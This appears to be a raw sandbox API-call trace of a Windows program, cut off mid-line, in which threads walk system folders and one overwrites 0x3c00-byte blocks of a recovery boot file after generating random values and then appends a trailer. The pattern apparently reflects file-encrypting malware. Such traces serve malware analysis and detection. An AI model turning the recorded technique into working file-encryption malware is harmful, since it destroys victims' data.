ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0090.638] FindClose (in: hFindFile=0x1cd9c5b0 | out: hFindFile=0x1cd9c5b0) returned 1 [0090.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b8e0) returned 1 [0090.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adc00) returned 1 [0090.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7842e0) returned 1 Thread: id = 248 os_tid = 0xd10 [0087.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce109a0 [0087.708] wcscpy (in: _Dest=0x1ce109a0, _Source="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0087.708] wcscat (in: _Dest=0x1ce109a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0087.708] wcscat (in: _Dest=0x1ce109a0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*" [0087.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9bb50 [0087.708] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c610 [0087.709] wcscmp (_String1=".", _String2=".") returned 0 [0087.709] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.709] wcscmp (_String1="..", _String2=".") returned 1 [0087.709] wcscmp (_String1="..", _String2="..") returned 0 [0087.709] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0087.709] wcscmp (_String1="packages", _String2=".") returned 1 [0087.709] wcscmp (_String1="packages", _String2="..") returned 1 [0087.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106dc0 [0087.710] wcscpy (in: _Dest=0x106dc0, _Source="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0087.710] wcscat (in: _Dest=0x106dc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0087.710] wcscat (in: _Dest=0x106dc0, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0090.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0090.642] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0090.642] FindClose (in: hFindFile=0x1cd9c610 | out: hFindFile=0x1cd9c610) returned 1 [0090.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9bb50) returned 1 [0090.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce109a0) returned 1 [0090.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5910) returned 1 Thread: id = 249 os_tid = 0xd14 [0087.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f370 [0087.711] wcscpy (in: _Dest=0x1cd9f370, _Source="C:\\ProgramData\\Sun\\Java" | out: _Dest="C:\\ProgramData\\Sun\\Java") returned="C:\\ProgramData\\Sun\\Java" [0087.711] wcscat (in: _Dest=0x1cd9f370, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\Java\\") returned="C:\\ProgramData\\Sun\\Java\\" [0087.711] wcscat (in: _Dest=0x1cd9f370, _Source="*" | out: _Dest="C:\\ProgramData\\Sun\\Java\\*") returned="C:\\ProgramData\\Sun\\Java\\*" [0087.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9bdc0 [0087.711] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c670 [0087.711] wcscmp (_String1=".", _String2=".") returned 0 [0087.711] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.712] wcscmp (_String1="..", _String2=".") returned 1 [0087.712] wcscmp (_String1="..", _String2="..") returned 0 [0087.712] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0087.712] wcscmp (_String1="Java Update", _String2=".") returned 1 [0087.712] wcscmp (_String1="Java Update", _String2="..") returned 1 [0087.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1cd972b0 [0087.712] wcscpy (in: _Dest=0x1cd972b0, _Source="C:\\ProgramData\\Sun\\Java" | out: _Dest="C:\\ProgramData\\Sun\\Java") returned="C:\\ProgramData\\Sun\\Java" [0087.712] wcscat (in: _Dest=0x1cd972b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Sun\\Java\\") returned="C:\\ProgramData\\Sun\\Java\\" [0087.712] wcscat (in: _Dest=0x1cd972b0, _Source="Java Update" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update") returned="C:\\ProgramData\\Sun\\Java\\Java Update" [0090.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd972b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0090.644] FindNextFileW (in: hFindFile=0x1cd9c670, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0090.644] FindClose (in: hFindFile=0x1cd9c670 | out: hFindFile=0x1cd9c670) returned 1 [0090.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9bdc0) returned 1 [0090.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f370) returned 1 [0090.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8040) returned 1 Thread: id = 250 os_tid = 0xd18 [0087.713] GetFileAttributesW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi")) returned 0x2006 [0087.714] SetFileAttributesW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi", dwFileAttributes=0x20) returned 1 [0087.714] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9c0 [0087.714] GetFileSizeEx (in: hFile=0x9c0, lpFileSize=0x21c5fb60 | out: lpFileSize=0x21c5fb60*=3170304) returned 1 [0087.714] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x305ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.714] ReadFile (in: hFile=0x9c0, lpBuffer=0x21c5fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21c5fb28, lpOverlapped=0x0 | out: lpBuffer=0x21c5fae0*, lpNumberOfBytesRead=0x21c5fb28*=0x4, lpOverlapped=0x0) returned 1 [0087.720] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b680 [0087.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5c0 [0087.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5f0 [0087.720] NtQuerySystemTime (in: CurrentTime=0x21c5fa20 | out: CurrentTime=0x21c5fa20*=132462176935918000) returned 0x0 [0087.720] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x4eba3d25 [0087.720] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x29d01cf3 [0087.720] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x6fa2a549 [0087.720] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x76e7b31e [0087.720] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x55588981 [0087.720] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x412f143 [0087.720] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x31927c02 [0087.720] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x781332d9 [0087.720] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x7d3eb720 [0087.720] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x7aaf6213 [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x5a0bc772 [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x5e43b01b [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x7daf5b1d [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x13d0b5cd [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x872711d [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x4d88fbcc [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x6e182ced [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x4daae716 [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0xa9862ef [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x30ad4b38 [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x2ed84f3a [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x10215752 [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x4e0a7a30 [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x69ab4e5d [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x71082daa [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x6f0d6591 [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x170b12ef [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x17ac302d [0087.721] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x1b49c411 [0087.722] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x568cd257 [0087.722] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x37032613 [0087.722] RtlRandomEx (in: Seed=0x21c5fa10 | out: Seed=0x21c5fa10) returned 0x14d0368e [0087.737] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.737] ReadFile (in: hFile=0x9c0, lpBuffer=0x1ce128c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21c5fa80, lpOverlapped=0x0 | out: lpBuffer=0x1ce128c0*, lpNumberOfBytesRead=0x21c5fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0087.749] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0087.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0087.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b680 [0087.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b680) returned 1 [0087.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce164d0 [0087.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b680 [0087.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5f0 [0087.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b5f0) returned 1 [0087.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0087.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0087.751] WriteFile (in: hFile=0x9c0, lpBuffer=0x1ce164d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21c5fa80, lpOverlapped=0x0 | out: lpBuffer=0x1ce164d0*, lpNumberOfBytesWritten=0x21c5fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0091.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce164d0) returned 1 [0091.387] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x186000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.387] ReadFile (in: hFile=0x9c0, lpBuffer=0x1ce128c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21c5fa80, lpOverlapped=0x0 | out: lpBuffer=0x1ce128c0*, lpNumberOfBytesRead=0x21c5fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0091.687] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x186000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0091.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8667c0 [0091.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0091.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7170) returned 1 [0091.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201500b0 [0091.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0091.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced75c0 [0091.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced75c0) returned 1 [0091.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8667c0) returned 1 [0091.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0091.688] WriteFile (in: hFile=0x9c0, lpBuffer=0x201500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21c5fa80, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesWritten=0x21c5fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0101.460] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0101.460] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x302400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.460] ReadFile (in: hFile=0x9c0, lpBuffer=0x1ce128c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21c5fa80, lpOverlapped=0x0 | out: lpBuffer=0x1ce128c0*, lpNumberOfBytesRead=0x21c5fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0101.695] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x302400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0101.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0101.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7350 [0101.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7350) returned 1 [0101.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20459710 [0101.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7350 [0101.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0101.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0101.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0101.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0101.697] WriteFile (in: hFile=0x9c0, lpBuffer=0x20459710*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21c5fa80, lpOverlapped=0x0 | out: lpBuffer=0x20459710*, lpNumberOfBytesWritten=0x21c5fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0159.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20459710) returned 1 [0159.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced92b0 [0159.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7350) returned 1 [0159.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7170) returned 1 [0159.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b680) returned 1 [0159.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce128c0) returned 1 [0159.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82b680 [0159.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c010 [0159.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308080 [0159.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2de0 [0159.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2de0) returned 1 [0159.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdb2de0 [0159.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ed0 [0159.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2f00 [0159.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2f00) returned 1 [0159.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42308080) returned 1 [0159.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c010) returned 1 [0159.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x142) returned 0x1cebc6d0 [0159.141] SetFilePointerEx (in: hFile=0x9c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0159.141] WriteFile (in: hFile=0x9c0, lpBuffer=0x1cebc6d0*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x21c5fb30, lpOverlapped=0x0 | out: lpBuffer=0x1cebc6d0*, lpNumberOfBytesWritten=0x21c5fb30*=0x142, lpOverlapped=0x0) returned 1 [0166.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0166.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0166.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4570 [0166.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4570) returned 1 [0166.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d1c0 [0166.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4570 [0166.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4540 [0166.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4540) returned 1 [0166.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0166.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0166.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x422f4540 [0166.428] sprintf (in: _Dest=0x422f4540, _Format="%c%c" | out: _Dest="6c") returned 2 [0166.428] sprintf (in: _Dest=0x422f4542, _Format="%c%c" | out: _Dest="66") returned 2 [0166.428] sprintf (in: _Dest=0x422f4544, _Format="%c%c" | out: _Dest="7d") returned 2 [0166.428] sprintf (in: _Dest=0x422f4546, _Format="%c%c" | out: _Dest="6a") returned 2 [0166.428] sprintf (in: _Dest=0x422f4548, _Format="%c%c" | out: _Dest="3a") returned 2 [0166.428] sprintf (in: _Dest=0x422f454a, _Format="%c%c" | out: _Dest="f8") returned 2 [0166.428] sprintf (in: _Dest=0x422f454c, _Format="%c%c" | out: _Dest="e0") returned 2 [0166.428] sprintf (in: _Dest=0x422f454e, _Format="%c%c" | out: _Dest="b0") returned 2 [0166.428] sprintf (in: _Dest=0x422f4550, _Format="%c%c" | out: _Dest="68") returned 2 [0166.428] sprintf (in: _Dest=0x422f4552, _Format="%c%c" | out: _Dest="fe") returned 2 [0166.428] sprintf (in: _Dest=0x422f4554, _Format="%c%c" | out: _Dest="80") returned 2 [0166.428] sprintf (in: _Dest=0x422f4556, _Format="%c%c" | out: _Dest="2b") returned 2 [0166.428] sprintf (in: _Dest=0x422f4558, _Format="%c%c" | out: _Dest="a4") returned 2 [0166.428] sprintf (in: _Dest=0x422f455a, _Format="%c%c" | out: _Dest="49") returned 2 [0166.428] sprintf (in: _Dest=0x422f455c, _Format="%c%c" | out: _Dest="75") returned 2 [0166.428] sprintf (in: _Dest=0x422f455e, _Format="%c%c" 